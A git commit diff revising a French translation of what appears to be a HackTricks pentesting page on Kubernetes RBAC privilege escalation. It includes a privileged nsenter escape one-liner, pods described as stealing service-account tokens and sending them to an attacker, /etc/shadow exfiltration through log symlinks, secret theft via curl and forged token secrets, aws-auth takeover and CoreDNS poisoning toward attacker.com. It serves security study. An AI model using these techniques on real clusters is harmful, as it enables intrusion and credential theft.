Translated ['', 'src/pentesting-cloud/kubernetes-security/abusing-roles-

This commit is contained in:
Translator
2026-02-12 12:38:24 +00:00
parent d5c9f98c53
commit fb94a5fa79
2 changed files with 201 additions and 174 deletions
@@ -1,23 +1,23 @@
# Abusing Roles/ClusterRoles in Kubernetes
# Abuser des Roles/ClusterRoles dans Kubernetes
{{#include ../../../banners/hacktricks-training.md}}
Ici, vous pouvez trouver certaines configurations de Roles et ClusterRoles potentiellement dangereuses.\
Vous trouverez ici quelques configurations potentiellement dangereuses de Roles et ClusterRoles.\
N'oubliez pas que vous pouvez obtenir toutes les ressources prises en charge avec `kubectl api-resources`
## **Escalade de Privilèges**
## **Escalade de privilèges**
Se référant à l'art d'obtenir **l'accès à un autre principal** au sein du cluster **avec des privilèges différents** (au sein du cluster kubernetes ou vers des clouds externes) de ceux que vous avez déjà, dans Kubernetes, il existe essentiellement **4 techniques principales pour escalader les privilèges** :
On entend par là l'art d'obtenir l'accès à un autre principal dans le cluster avec des privilèges différents (au sein du cluster Kubernetes ou vers des clouds externes) de ceux que vous possédez déjà. Dans Kubernetes, il existe essentiellement **4 principales techniques pour escalader les privilèges** :
- Être capable de **s'imposer** à d'autres utilisateurs/groupes/SAs avec de meilleurs privilèges au sein du cluster kubernetes ou vers des clouds externes
- Être capable de **créer/patcher/exécuter des pods** où vous pouvez **trouver ou attacher des SAs** avec de meilleurs privilèges au sein du cluster kubernetes ou vers des clouds externes
- Être capable de **lire des secrets** car les tokens des SAs sont stockés en tant que secrets
- Être capable de **s'échapper vers le nœud** depuis un conteneur, où vous pouvez voler tous les secrets des conteneurs en cours d'exécution sur le nœud, les identifiants du nœud et les permissions du nœud au sein du cloud dans lequel il s'exécute (le cas échéant)
- Une cinquième technique qui mérite d'être mentionnée est la capacité de **faire un port-forward** dans un pod, car vous pourriez être en mesure d'accéder à des ressources intéressantes au sein de ce pod.
- Pouvoir **impersonate** d'autres user/groups/SAs avec des privilèges supérieurs au sein du cluster Kubernetes ou vers des clouds externes
- Pouvoir **create/patch/exec pods** où vous pouvez **find or attach SAs** disposant de privilèges supérieurs au sein du cluster Kubernetes ou vers des clouds externes
- Pouvoir **read secrets** puisque les tokens des SAs sont stockés en tant que secrets
- Pouvoir **escape to the node** depuis un container, où vous pouvez voler tous les secrets des containers s'exécutant sur le node, les identifiants du node, et les permissions du node dans le cloud sur lequel il tourne (le cas échéant)
- Une cinquième technique mérite d'être mentionnée : la capacité à **run port-forward** dans un pod, car vous pourriez accéder à des ressources intéressantes à l'intérieur de ce pod.
### Accéder à n'importe quelle ressource ou verbe (Wildcard)
### Accéder à n'importe quelle ressource ou verb (Wildcard)
Le **wildcard (\*) donne la permission sur n'importe quelle ressource avec n'importe quel verbe**. Il est utilisé par les administrateurs. À l'intérieur d'un ClusterRole, cela signifie qu'un attaquant pourrait abuser de n'importe quel namespace dans le cluster.
Le **wildcard (*) donne la permission sur n'importe quelle ressource avec n'importe quel verb**. Il est utilisé par les admins. Dans une ClusterRole, cela signifie qu'un attaquant pourrait abuser n'importe quel namespace dans le cluster
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
@@ -31,11 +31,11 @@ verbs: ["*"]
```
### Accéder à n'importe quelle ressource avec un verbe spécifique
Dans RBAC, certaines permissions présentent des risques significatifs :
Dans RBAC, certaines permissions présentent des risques importants :
1. **`create`:** Accorde la capacité de créer n'importe quelle ressource de cluster, risquant une élévation de privilèges.
2. **`list`:** Permet de lister toutes les ressources, pouvant potentiellement entraîner une fuite de données sensibles.
3. **`get`:** Permet d'accéder aux secrets des comptes de service, posant une menace pour la sécurité.
1. **`create`:** Accorde la capacité de créer n'importe quelle ressource du cluster, risquant une privilege escalation.
2. **`list`:** Permet de lister toutes les ressources, potentiellement leaking des données sensibles.
3. **`get`:** Permet d'accéder aux secrets des service accounts, constituant une menace pour la sécurité.
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
@@ -49,9 +49,9 @@ verbs: ["create", "list", "get"]
```
### Pod Create - Steal Token
Un attaquant ayant les permissions de créer un pod pourrait attacher un compte de service privilégié dans le pod et voler le jeton pour usurper l'identité du compte de service. Cela permet d'escalader effectivement les privilèges.
Un attaquant disposant des permissions pour créer un pod peut attacher un Service Account privilégié au pod et voler le token afin d'usurper ce Service Account. Cela permet d'escalader ses privilèges.
Exemple d'un pod qui volera le jeton du compte de service `bootstrap-signer` et l'enverra à l'attaquant :
Exemple d'un pod qui volera le token du `bootstrap-signer` service account et l'enverra à l'attaquant :
```yaml
apiVersion: v1
kind: Pod
@@ -72,14 +72,14 @@ serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
```
### Création et Évasion de Pod
### Pod Create & Escape
Les éléments suivants indiquent tous les privilèges qu'un conteneur peut avoir :
Ce qui suit indique tous les privilèges qu'un conteneur peut avoir :
- **Accès privilégié** (désactivation des protections et définition des capacités)
- **Désactiver les namespaces hostIPC et hostPid** qui peuvent aider à élever les privilèges
- **Désactiver le namespace hostNetwork**, donnant accès pour voler les privilèges cloud des nœuds et un meilleur accès aux réseaux
- **Monter les hôtes / à l'intérieur du conteneur**
- **Accès privilégié** (désactivation des protections et configuration des capabilities)
- **Désactiver les namespaces hostIPC et hostPid** qui peuvent aider à escalader les privilèges
- **Désactiver le namespace hostNetwork**, donnant la possibilité de voler les privilèges cloud des nœuds et un meilleur accès aux réseaux
- **Monter le / de l'hôte à l'intérieur du conteneur**
```yaml:super_privs.yaml
apiVersion: v1
kind: Pod
@@ -119,13 +119,15 @@ Créez le pod avec :
```bash
kubectl --token $token create -f mount_root.yaml
```
Une ligne provenant de [ce tweet](https://twitter.com/mauilion/status/1129468485480751104) et avec quelques ajouts :
Commande en une ligne provenant de [this tweet](https://twitter.com/mauilion/status/1129468485480751104) et avec quelques ajouts :
```bash
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
```
#### Stealth
Maintenant que vous pouvez vous échapper vers le node, consultez les techniques de post-exploitation dans :
Vous voulez probablement être **plus discret**. Dans les pages suivantes, vous pouvez voir ce à quoi vous pourriez accéder si vous créez un pod en n'activant que certains des privilèges mentionnés dans le modèle précédent :
#### Discrétion
Vous voudrez probablement être **plus discret**, dans les pages suivantes vous pouvez voir ce à quoi vous pourriez accéder si vous créez un pod en n'activant que certaines des privilèges mentionnés dans le template précédent :
- **Privileged + hostPID**
- **Privileged only**
@@ -134,22 +136,22 @@ Vous voulez probablement être **plus discret**. Dans les pages suivantes, vous
- **hostNetwork**
- **hostIPC**
_Vous pouvez trouver un exemple de comment créer/abuser des configurations de pods privilégiés précédentes dans_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
_Vous pouvez trouver des exemples de comment créer/abuser les configurations précédentes de pods privilégiés dans_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
### Pod Create - Move to cloud
Si vous pouvez **créer** un **pod** (et éventuellement un **compte de service**), vous pourriez être en mesure de **obtenir des privilèges dans un environnement cloud** en **assignant des rôles cloud à un pod ou à un compte de service** et ensuite y accéder.\
De plus, si vous pouvez créer un **pod avec l'espace de noms réseau de l'hôte**, vous pouvez **voler le rôle IAM** de l'instance **node**.
Si vous pouvez **créer** un **pod** (et optionnellement un **service account**) vous pourriez être capable **d'obtenir des privilèges dans un environnement cloud** en **assignant des cloud roles à un pod ou à un service account** puis en y accédant.\
De plus, si vous pouvez créer un **pod avec le host network namespace** vous pouvez **voler le IAM** role de l'instance **node**.
Pour plus d'informations, consultez :
Pour plus d'informations consultez :
{{#ref}}
pod-escape-privileges.md
{{#endref}}
### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs**
### **Créer/Modifier Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs**
Il est possible d'abuser de ces permissions pour **créer un nouveau pod** et établir des privilèges comme dans l'exemple précédent.
Il est possible d'abuser de ces permissions pour **créer un nouveau pod** et **escalader des privilèges** comme dans l'exemple précédent.
Le yaml suivant **crée un daemonset et exfiltre le token du SA** à l'intérieur du pod :
```yaml
@@ -189,32 +191,32 @@ path: /
```
### **Pods Exec**
**`pods/exec`** est une ressource dans kubernetes utilisée pour **exécuter des commandes dans un shell à l'intérieur d'un pod**. Cela permet de **lancer des commandes à l'intérieur des conteneurs ou d'obtenir un shell à l'intérieur**.
**`pods/exec`** est une ressource dans kubernetes utilisée pour **exécuter des commandes dans un shell à l'intérieur d'un pod**. Cela permet **d'exécuter des commandes à l'intérieur des conteneurs ou d'obtenir un shell à l'intérieur**.
Par conséquent, il est possible de **rentrer dans un pod et voler le token du SA**, ou d'entrer dans un pod privilégié, s'échapper vers le nœud et voler tous les tokens des pods dans le nœud et (ab)user du nœud :
Par conséquent, il est possible de **pénétrer dans un pod et voler le token du SA**, ou d'entrer dans un pod privilégié, de s'échapper vers le nœud, et de voler tous les tokens des pods sur le nœud et (ab)user du nœud:
```bash
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
```
> [!NOTE]
> Par défaut, la commande est exécutée dans le premier conteneur du pod. Obtenez **tous les pods dans un conteneur** avec `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'` et ensuite **indiquez le conteneur** où vous souhaitez l'exécuter avec `kubectl exec -it <pod_name> -c <container_name> -- sh`
Si c'est un conteneur distroless, vous pouvez essayer d'utiliser **des commandes intégrées** pour obtenir des informations sur les conteneurs ou télécharger vos propres outils comme un **busybox** en utilisant : **`kubectl cp </path/local/file> <podname>:</path/in/container>`**.
### port-forward
Cette permission permet de **rediriger un port local vers un port dans le pod spécifié**. Cela est destiné à faciliter le débogage des applications s'exécutant à l'intérieur d'un pod, mais un attaquant pourrait en abuser pour accéder à des applications intéressantes (comme des bases de données) ou vulnérables (webs ?) à l'intérieur d'un pod :
> Par défaut la commande s'exécute dans le premier container du pod. Récupérez **tous les containers d'un pod** avec `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'` puis **précisez le container** où vous voulez l'exécuter avec `kubectl exec -it <pod_name> -c <container_name> -- sh`
>
> Si c'est un container distroless vous pouvez essayer d'utiliser les **builtins du shell** pour obtenir des infos sur les containers ou uploader vos propres outils comme un **busybox** via : **`kubectl cp </path/local/file> <podname>:</path/in/container>`**.
>
> ### port-forward
>
> Cette permission permet de **rediriger un port local vers un port spécifique d'un pod**. Cela sert à pouvoir déboguer facilement des applications s'exécutant dans un pod, mais un attaquant pourrait en abuser pour accéder à des applications intéressantes (comme des DB) ou vulnérables (webs ?) à l'intérieur d'un pod :
```bash
kubectl port-forward pod/mypod 5000:5000
```
### Hôtes Écrits /var/log/ Évasion
### Évasion si /var/log/ de l'hôte est accessible en écriture
Comme [**indiqué dans cette recherche**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), si vous pouvez accéder ou créer un pod avec le **répertoire `/var/log/` des hôtes monté** dessus, vous pouvez **vous échapper du conteneur**.\
C'est essentiellement parce que lorsque le **Kube-API essaie d'obtenir les journaux** d'un conteneur (en utilisant `kubectl logs <pod>`), il **demande le fichier `0.log`** du pod en utilisant le point de terminaison `/logs/` du service **Kubelet**.\
Le service Kubelet expose le point de terminaison `/logs/` qui expose essentiellement **le système de fichiers `/var/log` du conteneur**.
As [**indicated in this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), si vous pouvez accéder ou créer un pod avec le répertoire **hosts `/var/log/` monté** dessus, vous pouvez **vous échapper du conteneur**.\
Ceci s'explique essentiellement parce que lorsque le **Kube-API tente de récupérer les logs** d'un container (en utilisant `kubectl logs <pod>`), il **demande le fichier `0.log`** du pod via l'endpoint `/logs/` du service **Kubelet**.\
Le service Kubelet expose l'endpoint `/logs/` qui expose en fait **le système de fichiers `/var/log` du container**.
Par conséquent, un attaquant ayant **accès en écriture dans le dossier /var/log/** du conteneur pourrait abuser de ce comportement de 2 manières :
Ainsi, un attacker avec **un accès en écriture au dossier /var/log/** du conteneur peut abuser de ce comportement de 2 manières :
- Modifier le fichier `0.log` de son conteneur (généralement situé dans `/var/logs/pods/namespace_pod_uid/container/0.log`) pour qu'il soit un **symlink pointant vers `/etc/shadow`** par exemple. Ensuite, vous pourrez exfiltrer le fichier shadow des hôtes en faisant :
- Modifier le fichier `0.log` de son container (généralement situé dans `/var/logs/pods/namespace_pod_uid/container/0.log`) pour en faire un **symlink pointant vers `/etc/shadow`** par exemple. Ensuite, vous pourrez exfiltrate le fichier shadow de l'hôte en faisant :
```bash
kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
@@ -222,7 +224,7 @@ kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
```
- Si l'attaquant contrôle un principal avec les **permissions pour lire `nodes/log`**, il peut simplement créer un **symlink** dans `/host-mounted/var/log/sym` vers `/` et lorsqu'il **accède à `https://<gateway>:10250/logs/sym/`, il listera le système de fichiers racine** de l'hôte (changer le symlink peut fournir un accès à des fichiers).
- Si l'attaquant contrôle un principal ayant les **permissions de lecture de `nodes/log`**, il peut simplement créer un **symlink** dans `/host-mounted/var/log/sym` pointant vers `/` et en **accédant à `https://<gateway>:10250/logs/sym/` il listera le système de fichiers racine de l'hôte** (modifier le symlink peut donner accès à des fichiers).
```bash
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
@@ -234,23 +236,23 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://
<a href="lib">lib</a>
[...]
```
**Un laboratoire et un exploit automatisé peuvent être trouvés dans** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)
**Un laboratoire et un exploit automatisé sont disponibles sur** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)
#### Contournement de la protection readOnly <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
#### Contourner la protection en lecture seule <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
Si vous avez la chance et que la capacité hautement privilégiée `CAP_SYS_ADMIN` est disponible, vous pouvez simplement remonter le dossier en rw :
Si vous avez la chance et que la capacité très privilégiée `CAP_SYS_ADMIN` est disponible, vous pouvez simplement remonter le dossier en rw:
```bash
mount -o rw,remount /hostlogs/
```
#### Contournement de la protection readOnly de hostPath <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
#### Contournement de la protection hostPath readOnly <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
Comme indiqué dans [**cette recherche**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), il est possible de contourner la protection :
Comme indiqué dans [**this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) il est possible de contourner la protection:
```yaml
allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true
```
Ce qui était censé prévenir les échappements comme les précédents en utilisant, au lieu d'un montage hostPath, un PersistentVolume et un PersistentVolumeClaim pour monter un dossier d'hôtes dans le conteneur avec un accès en écriture :
Ce mécanisme était censé prévenir des escapes comme les précédents : au lieu d'utiliser un hostPath mount, utiliser un PersistentVolume et un PersistentVolumeClaim pour monter un dossier hosts dans le container avec un accès en écriture :
```yaml
apiVersion: v1
kind: PersistentVolume
@@ -296,9 +298,9 @@ volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol
```
### **Usurpation de comptes privilégiés**
### **Impersonating privileged accounts**
Avec un [**droit d'usurpation d'utilisateur**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), un attaquant pourrait usurper un compte privilégié.
Avec un privilège de [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), un attaquant pourrait usurper un compte privilégié.
Il suffit d'utiliser le paramètre `--as=<username>` dans la commande `kubectl` pour usurper un utilisateur, ou `--as-group=<group>` pour usurper un groupe :
```bash
@@ -313,15 +315,16 @@ curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
### Listing Secrets
### Lister les secrets
Le droit de **lister les secrets pourrait permettre à un attaquant de réellement lire les secrets** en accédant au point de terminaison de l'API REST :
L'autorisation de **lister les secrets pourrait permettre à un attaquant de réellement lire les secrets** en accédant à l'endpoint de l'API REST :
```bash
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
### Création et Lecture de Secrets
### Création et lecture des Secrets
Il existe un type spécial de secret Kubernetes de type **kubernetes.io/service-account-token** qui stocke les jetons de compte de service. Si vous avez les autorisations pour créer et lire des secrets, et que vous connaissez également le nom du compte de service, vous pouvez créer un secret comme suit et ensuite voler le jeton du compte de service de la victime à partir de celui-ci :
Il existe un type spécial de secret Kubernetes de type **kubernetes.io/service-account-token** qui stocke des tokens de serviceaccount.
Si vous avez les autorisations pour créer et lire des secrets, et que vous connaissez également le nom du serviceaccount, vous pouvez créer un secret comme suit puis voler le token du serviceaccount victime depuis ce secret :
```yaml
apiVersion: v1
kind: Secret
@@ -332,7 +335,7 @@ annotations:
kubernetes.io/service-account.name: cluster-admin-sa
type: kubernetes.io/service-account-token
```
Exploitation d'exemple :
Exemple d'exploitation :
```bash
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)
@@ -380,17 +383,18 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso
"type": "kubernetes.io/service-account-token"
}
```
Notez que si vous êtes autorisé à créer et lire des secrets dans un certain namespace, le serviceaccount de la victime doit également se trouver dans ce même namespace.
Notez que si vous êtes autorisé à créer et à lire des secrets dans un namespace donné, le serviceaccount victime doit également se trouver dans ce même namespace.
### Lecture d'un secret force brute des ID de token
Bien qu'un attaquant en possession d'un token avec des permissions de lecture nécessite le nom exact du secret pour l'utiliser, contrairement au privilège plus large de _**lister les secrets**_, il existe encore des vulnérabilités. Les comptes de service par défaut dans le système peuvent être énumérés, chacun étant associé à un secret. Ces secrets ont une structure de nom : un préfixe statique suivi d'un token alphanumérique aléatoire de cinq caractères (à l'exception de certains caractères) selon le [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
### Lecture d'un secret brute-forcing token IDs
Le token est généré à partir d'un ensemble limité de 27 caractères (`bcdfghjklmnpqrstvwxz2456789`), plutôt que de l'ensemble alphanumérique complet. Cette limitation réduit le nombre total de combinaisons possibles à 14 348 907 (27^5). Par conséquent, un attaquant pourrait raisonnablement exécuter une attaque par force brute pour déduire le token en quelques heures, ce qui pourrait conduire à une évation de privilèges en accédant à des comptes de service sensibles.
Bien qu'un attaquant en possession d'un token avec des permissions de lecture ait besoin du nom exact du secret pour l'utiliser — contrairement au privilège plus large de _**listing secrets**_ — il existe encore des vulnérabilités. Les comptes de service par défaut du système peuvent être énumérés, chacun étant associé à un secret. Ces secrets ont une structure de nom : un préfixe statique suivi d'un token alphanumérique aléatoire de cinq caractères (en excluant certains caractères) selon le [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
### EncrpytionConfiguration en texte clair
Le token est généré à partir d'un jeu limité de 27 caractères (`bcdfghjklmnpqrstvwxz2456789`), plutôt que de l'ensemble alphanumérique complet. Cette limitation réduit le nombre total de combinaisons possibles à 14 348 907 (27^5). Par conséquent, un attaquant pourrait raisonnablement lancer une brute-force attack pour déduire le token en quelques heures, ce qui pourrait conduire à une privilege escalation en accédant à des service accounts sensibles.
Il est possible de trouver des clés en texte clair pour chiffrer des données au repos dans ce type d'objet comme :
### EncrpytionConfiguration en clair
Il est possible de trouver des clés en clair servant à chiffrer les données au repos dans ce type d'objet, comme :
```yaml
# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/
@@ -447,13 +451,13 @@ keys:
- name: key3
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==
```
### Certificate Signing Requests
### Demandes de signature de certificat
Si vous avez le verbe **`create`** dans la ressource `certificatesigningrequests` (ou au moins dans `certificatesigningrequests/nodeClient`). Vous pouvez **create** un nouveau CeSR d'un **nouveau nœud.**
Si vous avez le verbe **`create`** sur la ressource `certificatesigningrequests` (ou au moins sur `certificatesigningrequests/nodeClient`). Vous pouvez **create** un nouveau CeSR d'un **nouveau node.**
Selon la [documentation, il est possible d'approuver automatiquement ces demandes](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), donc dans ce cas, vous **n'avez pas besoin de permissions supplémentaires**. Sinon, vous devrez être en mesure d'approuver la demande, ce qui signifie une mise à jour dans `certificatesigningrequests/approval` et `approve` dans `signers` avec resourceName `<signerNameDomain>/<signerNamePath>` ou `<signerNameDomain>/*`
Selon la [documentation il est possible d'approuver automatiquement ces demandes](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), donc dans ce cas vous **n'avez pas besoin de permissions supplémentaires**. Sinon, vous devrez être capable d'approuver la requête, ce qui signifie update dans `certificatesigningrequests/approval` et `approve` dans `signers` avec resourceName `<signerNameDomain>/<signerNamePath>` ou `<signerNameDomain>/*`
Un **exemple de rôle** avec toutes les permissions requises est :
Un **exemple de role** avec toutes les permissions requises est :
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
@@ -484,19 +488,19 @@ resourceNames:
verbs:
- approve
```
Alors, avec le nouveau CSR de nœud approuvé, vous pouvez **abuser** des permissions spéciales des nœuds pour **voler des secrets** et **escalader des privilèges**.
Ainsi, avec le nouveau node CSR approuvé, vous pouvez **abuse** les permissions spéciales des nodes pour **steal secrets** et **escalate privileges**.
Dans [**cet article**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) et [**celui-ci**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/), la configuration de GKE K8s TLS Bootstrap est configurée avec **signature automatique** et elle est abusée pour générer des identifiants d'un nouveau nœud K8s, puis abuser de ceux-ci pour escalader des privilèges en volant des secrets.\
Si vous **avez les privilèges mentionnés, vous pourriez faire la même chose**. Notez que le premier exemple contourne l'erreur empêchant un nouveau nœud d'accéder aux secrets à l'intérieur des conteneurs parce qu'un **nœud ne peut accéder qu'aux secrets des conteneurs montés sur lui.**
Dans [**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) et [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) la configuration GKE K8s TLS Bootstrap est configurée avec **automatic signing** et elle est abusée pour générer les credentials d'un nouveau K8s Node puis **abuse** ceux-ci pour **escalate privileges** en **steal secrets**.\
Si vous **have the mentioned privileges you could do the same thing**. Notez que le premier exemple contourne l'erreur empêchant un nouveau node d'accéder aux secrets à l'intérieur des containers parce qu'un **node can only access the secrets of containers mounted on it.**
La façon de contourner cela est simplement de **créer des identifiants de nœud pour le nom du nœud où le conteneur avec les secrets intéressants est monté** (mais vérifiez juste comment le faire dans le premier article) :
La méthode pour contourner cela consiste simplement à **create a node credentials for the node name where the container with the interesting secrets is mounted** (but just check how to do it in the first post):
```bash
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
```
### AWS EKS aws-auth configmaps
Les principaux qui peuvent modifier **`configmaps`** dans l'espace de noms kube-system sur les clusters EKS (doivent être dans AWS) peuvent obtenir des privilèges d'administrateur de cluster en écrasant le configmap **aws-auth**.\
Les verbes nécessaires sont **`update`** et **`patch`**, ou **`create`** si le configmap n'a pas été créé :
Les entités (principals) qui peuvent modifier **`configmaps`** dans l'espace de noms kube-system sur des clusters EKS (doivent être sur AWS) peuvent obtenir des privilèges d'administrateur du cluster en écrasant le **aws-auth** configmap.\
Les verbes nécessaires sont **`update`** et **`patch`**, ou **`create`** si le configmap n'a pas été créé:
```bash
# Check if config map exists
get configmap aws-auth -n kube-system -o yaml
@@ -536,18 +540,18 @@ groups:
- system:masters
```
> [!WARNING]
> Vous pouvez utiliser **`aws-auth`** pour **la persistance** en donnant accès à des utilisateurs d'**autres comptes**.
> Vous pouvez utiliser **`aws-auth`** pour la **persistance**, donnant accès à des utilisateurs d'**autres comptes**.
>
> Cependant, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **ne fonctionne pas depuis un compte différent**. Mais en réalité, `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` fonctionne si vous mettez l'ARN du cluster au lieu de juste le nom.\
> Pour faire fonctionner `kubectl`, assurez-vous simplement de **configurer** le **kubeconfig de la victime** et dans les arguments d'exécution aws, ajoutez `--profile other_account_role` afin que kubectl utilise le profil de l'autre compte pour obtenir le token et contacter AWS.
> Cependant, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **ne fonctionne pas depuis un autre compte**. Mais en réalité `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` fonctionne si vous mettez l'ARN du cluster au lieu du nom seulement.\
> Pour faire fonctionner `kubectl`, assurez-vous simplement de **configurer** le **kubeconfig de la victime** et dans les aws exec args ajoutez `--profile other_account_role` afin que kubectl utilise le profil de l'autre compte pour obtenir le token et contacter AWS.
### CoreDNS config map
Si vous avez les permissions pour modifier le **`coredns` configmap** dans l'espace de noms `kube-system`, vous pouvez modifier les adresses que les domaines seront résolus afin de pouvoir effectuer des attaques MitM pour **voler des informations sensibles ou injecter du contenu malveillant**.
Si vous avez les permissions pour modifier le **`coredns` configmap** dans l'espace de noms `kube-system`, vous pouvez modifier les adresses vers lesquelles les domaines seront résolus afin de pouvoir effectuer des attaques MitM pour **voler des informations sensibles ou injecter du contenu malveillant**.
Les verbes nécessaires sont **`update`** et **`patch`** sur le **`coredns`** configmap (ou tous les config maps).
Les verbes nécessaires sont **`update`** et **`patch`** sur le **`coredns`** configmap (ou sur tous les config maps).
Un fichier **coredns** régulier contient quelque chose comme ceci :
Un **fichier coredns** standard contient quelque chose comme ceci:
```yaml
data:
Corefile: |
@@ -577,58 +581,75 @@ reload
loadbalance
}
```
Un attaquant pourrait le télécharger en exécutant `kubectl get configmap coredns -n kube-system -o yaml`, le modifier en ajoutant quelque chose comme `rewrite name victim.com attacker.com` afin que chaque fois que `victim.com` est accédé, en réalité `attacker.com` soit le domaine qui sera accédé. Puis, il pourrait l'appliquer en exécutant `kubectl apply -f poison_dns.yaml`.
Un attaquant pourrait le télécharger en exécutant `kubectl get configmap coredns -n kube-system -o yaml`, le modifier en ajoutant quelque chose comme `rewrite name victim.com attacker.com` de sorte que chaque fois que `victim.com` est consulté, c'est en réalité `attacker.com` qui sera accédé. Puis l'appliquer en exécutant `kubectl apply -f poison_dns.yaml`.
Une autre option est de simplement éditer le fichier en exécutant `kubectl edit configmap coredns -n kube-system` et en apportant des modifications.
Une autre option consiste à éditer directement le fichier en exécutant `kubectl edit configmap coredns -n kube-system` et en effectuant les modifications.
### Escalade dans GKE
### Escalating in GKE
Il existe **2 façons d'assigner des permissions K8s aux principaux GCP**. Dans tous les cas, le principal a également besoin de la permission **`container.clusters.get`** pour pouvoir rassembler des informations d'identification pour accéder au cluster, sinon vous devrez **générer votre propre fichier de configuration kubectl** (suivez le lien suivant).
Il existe **2 façons d'assigner des permissions K8s aux principals GCP**. Dans tous les cas le principal a aussi besoin de la permission **`container.clusters.get`** pour pouvoir récupérer les credentials afin d'accéder au cluster, ou vous devrez **générer votre propre fichier de config kubectl** (suivre le lien suivant).
> [!WARNING]
> Lorsqu'il communique avec le point de terminaison API K8s, le **jeton d'authentification GCP sera envoyé**. Ensuite, GCP, via le point de terminaison API K8s, vérifiera d'abord si le **principal** (par e-mail) **a un accès à l'intérieur du cluster**, puis il vérifiera s'il a **un accès via GCP IAM**.\
> Si **l'un** de ces éléments est **vrai**, il sera **répondu**. Sinon, une **erreur** suggérant de donner des **permissions via GCP IAM** sera donnée.
> Lorsque vous vous adressez à l'endpoint API K8s, le **GCP auth token sera envoyé**. Ensuite, GCP, via l'endpoint API K8s, vérifiera d'abord si le **principal** (par email) **dispose d'un accès à l'intérieur du cluster**, puis vérifiera s'il a **un accès via GCP IAM**.\
> Si **l'une** de ces conditions est **vraie**, une **réponse** sera fournie. Sinon, une **erreur** suggérant d'accorder des **permissions via GCP IAM** sera renvoyée.
Ensuite, la première méthode consiste à utiliser **GCP IAM**, les permissions K8s ont leurs **permissions GCP IAM équivalentes**, et si le principal les a, il pourra les utiliser.
Ensuite, la première méthode utilise **GCP IAM** : les permissions K8s ont leurs **permissions équivalentes dans GCP IAM**, et si le principal les possède, il pourra les utiliser.
{{#ref}}
../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
{{#endref}}
La deuxième méthode consiste à **assigner des permissions K8s à l'intérieur du cluster** en identifiant l'utilisateur par son **e-mail** (comptes de service GCP inclus).
La seconde méthode consiste à **assigner des permissions K8s à l'intérieur du cluster** en identifiant l'utilisateur par son **email** (y compris les GCP service accounts).
### Créer un jeton de service
### Create serviceaccounts token
